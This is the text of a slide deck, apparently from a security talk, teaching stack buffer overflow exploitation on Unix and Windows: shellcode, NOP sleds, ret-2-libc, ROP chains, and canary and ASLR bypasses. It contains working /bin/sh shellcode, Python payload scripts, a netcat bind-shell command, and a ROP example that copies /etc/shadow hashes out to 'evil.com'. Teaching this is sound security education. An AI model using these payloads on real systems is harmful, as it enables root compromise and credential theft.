    #whoami <Name> Ammarit Thongthua Mr. K ShellCodeNoob </Name> <Profile> PentestTeamleader in private company </Profile> FB : Ammarit Es Shellcodenoob
  • 3.
    “There are somerelationships between - Reverse Engineering - Buffer overflow - Shellcode They are the complement of each other” “Sleepy Kama” #Inspiration
  • 5.
    Today, we willstart with
  • 6.
    AGENDA  Introduction  VulnerableUnix executable  Memory Space and Stack Layout  Buffer Overflow  Unix application Basic Reverse Engineer  ShellCode  Protection vs Expliotation  Basic Stack without protection  Bypass password protection  Exploitto get root privilege  Limited Stack Space  StackGuard (Canary)  Non-Executable-Stack (NX)  ROP Chain  Address Space Layout Randomization (ASLR)  Defeat with static system library (kernel < 2.6.20 )  ASLR with removed Static system library  Defeat with application wrapping (kernel >= 2.6.20 )  Compare with windows exploitation
  • 7.
  • 8.
    VULNERABLE UNIX APPLICATION Has permission “root” as user or group  SUID or SGID is set (Sting S at eXecute bit)  This 2 criteria provided privilege escalation to be root  list="$(find / -perm -4000 -o -perm -2000)";for i in $list; do ls -al $i; done  ls –R / | grep “wsr” | grep “root”
  • 9.
  • 10.
    VULNERABLE UNIX APPLICATION Use vulnerable input standard function  Ex: strcp(), gets(), sprintf (), vsprintf ()  They make the program can possibly segmentation fault or buffer overflow
  • 11.
    Chapter II “Memory Addressand Stack Layout”
  • 12.
    MEMORY ADDRESS ANDSTACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 13.
    MEMORY ADDRESS ANDSTACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 14.
    MEMORY ADDRESS ANDSTACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 15.
    MEMORY ADDRESS ANDSTACK LAYOUT main () { int i = 0; checkpw (); } char pw[608];
  • 16.
    MEMORY ADDRESS ANDSTACK LAYOUT 0xFFFFFFFF 0x00000000 Stack Int i = 0; ….. Previous Stacks Main() ESP
  • 17.
    MEMORY ADDRESS ANDSTACK LAYOUT main () { int I = 0; checkpw (); } char pw[608];
  • 18.
    MEMORY ADDRESS ANDSTACK LAYOUT main () { int I = 0; checkpw (); } char pw[608]; RP
  • 19.
    MEMORY ADDRESS ANDSTACK LAYOUT 0xFFFFFFFF 0x00000000 Char pw[608]; Int i = 0; ….. Previous Stacks Main() checkpw() SFP RP Stack ESP
  • 20.
  • 21.
    BUFFER OVERFLOW  Thesituation when the data that input to the system is larger than the size of buffer that declare to be used AAAAAAAAAA....[607 of A]….AAAx00 SFP RP AAAAAAAAAA….[616 of A]….AAAAAAAAAAAAAAx00 SFP = 0x41414141 ***RP = 0x41414141 “Segmentation fault” “Illegal Instruction” SFP RP Ex: char pw[608];
  • 22.
    “How can wedetect buffer overflow in unix application?”
  • 23.
    “Generally, we usemanually test”
  • 24.
  • 25.
    “Better way, weuse pattern test”
  • 26.
  • 27.
  • 28.
     Check bufferoverflow position /usr/share/metasploit-framework/tools/pattern_offset.rb 41347541 BUFFER OVERFLOW
  • 29.
    “What happen if wecan over write Return Pointer?” “Can we control flow of instruction?”
  • 30.
  • 31.
    BUFFER OVERFLOW AAAAAAAAAAAAA….[612 ofA]….AAAAAAA SFP = 0x41414141 ***RP = 0x080484c7 “Segmentation fault” “Illegal Instruction” SFP RP 0x080484c7
  • 32.
  • 33.
    BUFFER OVERFLOW Demo #1 GDBand Bypass password protection
  • 34.
  • 35.
    “Imagine if wecan control Return Pointer to our own Instruction” “So, we can control the whole system”
  • 36.
    SHELL CODE [Malicious MachineOpCode] + AAAAAAAAAAAAAAA SFP = 0x41414141 ***RP = 0xFBFF0544 0xFBFF0544 0xFBFF0544 SFP RP  Attacker can control return pointer to run Malicious Machine OpCode that put to memory (Shell Code).  Insert shell code as a part of input to reduce the complexity of exploitation
  • 37.
    SHELL CODE  Shellcode is the code that attacker want the system run in order to operate the command as attacker need (create form assembly and convert to OpCode  Ex;  Open port for connection to that system with root privilege  Add user to the system  Run shell as root privilege  Shell code is written as Hexadecimal format
  • 38.
    “What happen ifwe can make Return Pointer system_call /bin/sh by programrun as root ?”
  • 39.
    “We will getshell prompt with root pri.”
  • 40.
    SHELL CODE 31 C0 50 682F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 Assembly Code Op Code Shell Code : system_call (/bin/sh) /bin 0000 //sh 0000 $esp
  • 41.
    SHELL CODE System_call(/bin/sh)Run as“root” Vulnerability program We get /bin/sh as root  RP
  • 42.
    “How can weget shellcode ?”
  • 43.
     Where canwe get shell code use to make exploit. ?  Create your own shell code (quite take time)  Use Metasploit to generate shell code  Metepreter  Search from internet  shell-storm.org/shellcode  packetstormsecurity.com  www.exploit-db.com/exploits SHELL CODE
  • 44.
    “How can wemanually create shellcode ?”
  • 45.
    “Good news, youneed to understand Assemble first !!”
  • 46.
  • 47.
  • 48.
    “How can weknow what is shellcode do ?”
  • 49.
    “Good news again,you need to understand Assemble first !!”
  • 50.
  • 51.
    “Can you seesomething difference between Assembly from debugger and output from the webs?”
  • 52.
    ASSEMBLY CODE From ourdebugger From our web disassembly
  • 53.
  • 54.
    Nothing wrong.. It’s justdifferent instruction set
  • 55.
    ASSEMBLY CODE From ourdebugger From our web disassembly AT&T base instruction Intel base instruction
  • 56.
  • 57.
    EXPLOIT PAYLOAD [Shell Code]+ [PADDING make size to 612 ] SFP = 0x41414141 ***RP = 0xBFFF528 0xBFFF528 SFP RP Payload = Shellcode + PAD + RP 612 bytes 4 bytes 0xBFFF528 Example:
  • 58.
     Where isthe shell code start location (For this example case)?  Need to reverse engineering and debug EXPLOIT PAYLOAD
  • 59.
    Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP= “x20xf5xffxbf” #0xBFFF520 (Little Endean!!!) PAYLOAD = scode + “A”*528 + RP print PAYLOAD ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
  • 60.
  • 61.
    EXPLOIT PAYLOAD  Sometimeresult of our exploit is crash !!!
  • 62.
    “What’s wrong inour PAYLOAD ^^? ”
  • 63.
    EXPLOIT PAYLOAD  Memoryon address when debug and run exploit payload may a bit shift [Shell Code] + [PADDING make size to 612 ] 0xBFFF528
  • 64.
    “How can wesolve this problem ?”
  • 65.
    [ Shell Code] + [ 577 Byte of PADDING ] 0xBFFF528 EXPLOIT PAYLOAD [400B. Landing space]+[Shell Code]+ [177 B. PADDING ]0xBFFF540 NOP (x90) = Do nothing
  • 66.
    Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP= “x58xf5xffxbf” # 0xBFFF558 Exp = “x90”*400 + scode + “A”*128 + RP ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
  • 67.
    “Let’s try ourimproved payload”
  • 68.
    EXPLOIT CODE  Whenexploit successfully
  • 69.
    EXPLOIT CODE Demo #2 Exploitto get root privilege
  • 70.
    Chapter VI “Buffer overflowin limited stack space”
  • 71.
    LIMITED STACK SPACE x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a SFP= 0x12237657 ***RP = 0x4a6ef36f SFP RP Payload =x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a “Segmentation fault” “Illegal Instruction”
  • 72.
    “How can wesolve this problem”
  • 73.
    LIMITED STACK SPACE [NOP Space (NOP Sledding)] + [S h e l l C o d e ] AAAAAAAAAAAAA…[612 of A]…AAAAAAAA SFP = 0x41414141 ***RP = 0xBFFFxxxx ??? (We don’t know yet) 0xFBFFxxxx 0xFBFFxxxx SFP RP  If size of buffer is limited, we need to put some shell code some where in stack and control RP to run shell code
  • 74.
  • 75.
    Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP= “xb0xf7xffxbf” # 0xBFFF520 Exp =`python c- ‘print “A”*612` + RP + =`python c- ‘print “x90”*400` + scode ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app LIMITED STACK SPACE
  • 76.
     When exploitsuccessfully LIMITED STACK SPACE
  • 77.
    Demo #3 Exploit toget root privilege With Limited Stack Space LIMITED STACK SPACE
  • 78.
    SUMMARY Grant()main()AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90x90x90 x90x90+ [Shell Code] + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90 x90x90x90x90x90x90 + [Shell Code]AAAAAAAAAAAAAAAAAAAAAAAAAAA RP AAAAA  Bypass password protection  Buffer overflow to run shellcode to get root privilege  Buffer overflow to run shellcode with limited Stack Space
  • 79.
    “Is it easylike this in real life?”
  • 80.
  • 81.
  • 82.
  • 83.
     Characteristic ofvulnerable program  Has set SUID, GUID  Can Overflow  Use Libc. BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 84.
    “What happen ifwe jump RP and run?” system_call nc –l –p 9999 –e /bin/sh
  • 85.
     Fool programto make system call with evil command  System_call nc -l -p 9999 -e /bin/sh AAAAAAAAAAAAA If Arg = “nc -l -p 9999 -e /bin/sh” and Program run as “root” So, “nc –l –p 9999 –e /bin/sh” run as “root” SFP RP Argsystem BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 86.
     Find locationof “system” call function BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 87.
     Create “evil”Argument as system global variable AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 88.
     Result BYPASS LIMITEDSTACK SPACE BY RET-2-LIBC
  • 89.
     When exploitsuccessfully BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 90.
    Demo #4 Exploit toget root privilege with Ret-2-libc style BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 91.
  • 92.
     The limitationof Ret-2-Libc is run only 1 command a time to exploit AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = ROP CHAIN
  • 93.
    “It’s better ifwe can run more than one commandin one exploit”
  • 94.
    “Let improve Ret-2-Libcto ROP Chaining”
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
    ROP CHAIN Arg1system systemArg2RP system Arg3RP
  • 103.
    ROP CHAIN Arg1system systemArg2RP system Arg3RP
  • 104.
    ROP CHAIN Arg1system systemArg2 system Arg3 Argn-2system system Argn-1 system Argn
  • 105.
    export ARG1=“unshadow /etc/passwd/etc/shadow > /output.txt” export ARG2=“scp haker@evil.com:output.txt /home/haker” . . . . export ARGn=“nc –l –p 4444 –e /bin/sh” ROP CHAIN
  • 106.
    “How can wechain them ?”
  • 107.
    “We need POPPOP RET” ROP Gadget
  • 108.
  • 109.
    ROP CHAIN POP POPRET Arg1system RP Arg2system
  • 110.
  • 111.
  • 112.
    ROP CHAIN Arg1system systemArg2 system Arg3 Argn-2system system Argn-1 system Argn RP = xc5x85x48x80 (POP|POP|RET) RP RP RP RP RP
  • 113.
    ROP CHAIN python -c'print "A"*12 + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg1]" + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg2]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg3]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg4]“ + "PADS" + . . . "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.argN]“ + "PADS" +
  • 114.
    Chapter IIX “Stack Guard(Canary)” Cookie of death
  • 115.
    STACK GUARD (CANARY) Protection mechanism place in stack (8 byte) to detect the overflow and preventing to control RP  Need to include when we compile program  gcc -fstack-protector code.c -o myprogram  If canary overwritten the program will be terminated  Type of Canary  NULL canary (0x00000000)  Terminator canary (0x00000aff – 0x000aff0d)  Random canary (Unpredicted 4 byte) AAAAAAAAAAAAAAAAAAAA AAAA AAAA AAAA SFP RPCanary
  • 116.
     For Nullcanary and Terminator canary can be defeated by “Canary repaired”  NULL canary only app use gets() function AAA…AAA00000000AAAA[RP]x90x90x90x[Shellcode]x0a  Terminator canary (always 0x00000aff)  app use gets() function  app use strcpy() function and need more than 1 arg AAA…AAAAAAA0affAAAA[RP]x90x90x90x[Shellcode]00 BBB…BBBBB00 CCC…CCC00 AAA…AAA00000affAAAA[RP]x90x90x90x[Shellcode] STACK GUARD (CANARY) DEFEAT Arg1= Arg2= Arg3=
  • 117.
    STACK GUARD (CANARY)DEFEAT EXAMPLE  Find opportunity to exploit
  • 118.
    STACK GUARD (CANARY)DEFEAT EXAMPLE  Find opportunity to exploit Canary value = 0x00000aff (It is a terminator canary ^_^)
  • 119.
    STACK GUARD (CANARY)DEFEAT EXAMPLE  Run exploit
  • 120.
    Demo #5 Exploit toget root privilege with canary repaired STACK GUARD (CANARY) DEFEAT
  • 121.
  • 122.
    ADDRESS SPACE LAYOUTRANDOMIZATION (ASLR)  Technique use prevent an attacker jumping to a particular exploited code in memory by random the virtual address in every runtime.
  • 123.
    ADDRESS SPACE LAYOUTRANDOMIZATION (ASLR) x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAA RP……. Random is 2 So, Possibility =1/2 or 0.000001 20 20 How can we increase possibility to jump to shell code ?
  • 124.
    ADDRESS SPACE LAYOUTRANDOMIZATION (ASLR) DEFEAT METHOD AAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x[ shell code ]……. JMP ESP esp  If OS kernel has some static lib kernel < 2.6.20. Use JMP ESP (Trampoline) instruction in that static lib to bring RP to shell code INC EAX ADD EBS, EBP ….
  • 125.
    ADDRESS SPACE LAYOUTRANDOMIZATION (ASLR) DEFEAT METHOD  If OS kernel has not static lib (kernel >= 2.6.20 ), need to write application to call vulnerable application to limit random address space (App wrap up) AAAAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x[ shell code ] Check current ESP value and Set RP = ESP + [vul app buffer]
  • 126.
     Wrap upapp ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD
  • 127.
    ADDRESS SPACE LAYOUTRANDOMIZATION (ASLR) DEFEAT METHOD  Result
  • 128.
  • 129.
    DIFFERENCE OF UNIXAND WINDOWS APPLICATION EXPLOIT  Unix application directly communicate to kernel  Window application must communicate through Window API (Not directly communicate to kernel) . It’s make more difficult to exploit App Kernel App KernelAPI
  • 130.
    WINDOW SHELLCODE  StaticShellcode (Example for window XP)  Static or fix memory address of windows API that use in exploit code (Specific OS version and SP)  Find address of WinExec() > use to execute cmd / app  Find address of ExitProcess() > use to clear register  Portable Shellcode  Dynamically find memory address of need window API by using 2 useful windows API  LoadLibraryA() to get Hmodule (DLL's base address )  GetProcessAddress() to get real address of function  Get address of WinExec()  Get address of ExitProcess()
  • 131.
     Normally, virususe LoadLibraryA() and GetProcessAddress() to make portable expliot WINDOW SHELLCODE
  • 132.
    WINDOW SHELLCODE  StaticShellcode (Example for window XP)
  • 133.
    WINDOW SHELLCODE  StaticShellcode (Example for window XP) xebx1bx5bx31xc0x50x31xc0x88x43x59x53xbbx4dx11x86x7c xffxd3x31xc0x50xbbxa2xcax81x7cxffxd3xe8xe0xffxffxffx63 x61x6cx63x2ex65x78x65
  • 134.
    BASIC STACK BUFFEROVERFLOW ON WINDOWS APPLICATION
  • 135.
     Found thevulnerability of application BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 136.
     Input tothe system is larger than the size of buffer that declare to be used AAAABBBBCCCC.....KKKKLLLLMMMM SFP RP char local[49]; BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION AAAABBBBCCCC.....KKKKLLLLMMMM NNNN OOOOPPPP ESP
  • 137.
     Find addressto jump to exploit code BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION x90x90x90x90…[shellcode]…AAAAAAAA RP * RP = “x40xffx13
  • 138.
     Exploit Successful BASICSTACK BUFFER OVERFLOW ON WINDOWS APPLICATION Successfully exploit. But calc.exe run as your permission not “Administrator”
  • 139.
     Imagine, ifsome windows application provide network service like FTP that start by “SYSTEM” account and have buffer overflow vulnerability (Ex: WarFTP app) BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 140.
    BASIC STACK BUFFEROVERFLOW ON WINDOWS APPLICATION
  • 141.
    BASIC STACK BUFFEROVERFLOW ON WINDOWS APPLICATION
  • 142.
    BASIC STACK BUFFEROVERFLOW ON WINDOWS APPLICATION FTP 192.168.1.2 USER AAAAAA….AAAA $JMP_ESP x90x90x90x90 SYSCODE RP ESP
  • 143.
     After connectback to open port, user/password to the system to confirm that we successfully get system privilege BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 144.
     Rule ofpermission gaining in Windows exploit  If we exploit the application, we will get the permission as who start or run the application  If application or service start or run by “Administrator” or “SYSTEM” account, we will gain “Administrator” or “SYSTEM” privilege  All windows vulnerability that attacker use to compromise OS occurred form successfully exploit “SYSTEM” service BASIC WINDOWS EXPLOITATION
  • 145.
     DLL injectionexploitation  SafeSeh (Structured Exception Handling) and Abuse  Windows ASLR and how to defeat  Windows DEP and how to defeat  GS protection in Windows application and how to defeat  Advance pivoting attack technique  HEAP overflow / Heap Spray / Use After free “Unfortunately, We have not enough time to walk through” MORE INTERESTING TOPIC FOR WINDOWS
  • 146.
     CoreLAN team: https://www.corelan.be  NetSEC : http://netsec.ws/?p=180  http://www.cis.syr.edu/~wedu/education/buffer_ov erflow.html LEARNING SITE
  • 147.
    REFERENCE  SANS 660Advanced Penetration Testing, Exploit Writing, and Ethical Hacking  GIAC GXPN : Exploit Researcher and Advanced Penetration Tester  Protecting Against Address Space Layou Randomization (ASLR) Compromises and Return-to- Libc Attacks Using Network Intrusion Detection Systems. David J. Day, Zheng-Xu Zhao, November 2011, Volume 8, Issue 4, pp 472-483  Cowan, C. Buffer Overflow Attacks. StackGuard:Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks. 1 October 2008.  Defeating PaX ASLR protection. Durden, T. 59, s.l. :Phrack, 2002, Vol. 12.